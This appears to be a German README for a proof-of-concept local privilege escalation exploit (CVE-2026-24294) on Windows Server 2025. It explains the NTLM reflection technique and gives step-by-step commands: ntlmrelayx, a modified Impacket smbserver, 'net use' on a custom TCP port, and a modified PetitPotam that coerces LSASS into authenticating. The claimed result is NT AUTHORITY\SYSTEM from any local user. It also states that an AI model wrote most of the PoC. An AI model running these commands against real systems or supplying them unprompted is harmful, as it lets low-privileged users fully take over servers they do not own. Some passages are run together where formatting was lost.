
Lokale Privilegieneskalation PoC für CVE-2026-24294, die SMB-Arbitrary-Port und NTLM-Reflection missbraucht, um SYSTEM auf Windows Server 2025 zu erlangen.
Lokale Privilegienerweiterung auf Windows Server 2025 über NTLM-Reflection, die die in Windows 11 24H2 / Server 2025 eingeführte SMB-Funktion für beliebige Ports ausnutzt.
Windows 11 24H2 / Server 2025 führte eine SMB-Client-Funktion ein, die Verbindungen über beliebige TCP-Ports ermöglicht (net use \\host\share /tcpport:PORT). In Kombination mit SMB-Session-Multiplexing (MS-SMB2 Abschnitt 3.2.4.2) ermöglicht dies lokale NTLM-Reflection – ein Benutzer mit niedrigen Rechten kann einen privilegierten Dienst (LSASS) dazu zwingen, sich bei einem vom Angreifer kontrollierten SMB-Server auf einem nicht standardmäßigen Port zu authentifizieren und die erfasste NTLM-Authentifizierung anschließend an den echten SMB-Dienst auf Port 445 weiterzuleiten.
Auswirkung: NT AUTHORITY\SYSTEM von jedem lokalen Benutzer.
Betroffen: Windows Server 2025 (Standardkonfiguration). Windows 11 24H2 erzwingt SMB-Signierung und blockiert die Weiterleitung.
LSASS (SYSTEM) ──NTLM──► SMB-Client ──TCP:12345──► smbserver.py (unsere)
│
▼ NTLM-Blob weiterleiten
SMB-Dienst (:445) ◄────────────────── ntlmrelayx.py
← SYSTEM-Sitzung
net use öffnet eine TCP-Verbindung zu unserem SMB-Server auf einem benutzerdefinierten Port\\127.0.0.1\share zu authentifizieren3 Terminals öffnen.
Terminal 1 – ntlmrelayx starten (lauscht auf RAW-Port 6666, leitet an lokales SMB weiter):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
Terminal 2 – Modifizierten smbserver starten (lauscht auf Port 12345, leitet NTLM an Port 6666 weiter):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
Terminal 3 – Den Exploit ausführen:
:: Freigabe auf benutzerdefiniertem Port einhängen (öffnet persistente TCP-Verbindung)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: LSASS zwingen, sich bei unserem SMB-Server zu authentifizieren
PetitPotam.exe 127.0.0.1 localhost 2
Die whoami-Ausgabe von ntlmrelayx zeigt NT AUTHORITY\SYSTEM.
PetitPotam/ – Modifizierter PetitPotam-Quellcode. Zwei Änderungen gegenüber dem Original:
df1941c5-fe89-4e79-bf10-463657acf44d (WS2025-EFSRPC-Schnittstelle)\pipe\efsrpcEfsRpcEncryptFileSrv), Freigabename fest auf test gesetztsmbserver.py – Modifizierter Impacket-smbserver mit -relay-port-Flag. Hookt SMB2-SESSION_SETUP, um eine zweite NTLM-Authentifizierung auf einer gemultiplexten Verbindung zu erfassen und an einen RAW-Relay-Server (ntlmrelayx --raw-port) weiterzuleiten.Dieser PoC wurde größtenteils von KI (GLM 5.1) auf Grundlage der in den folgenden Quellen beschriebenen Forschung und Techniken geschrieben: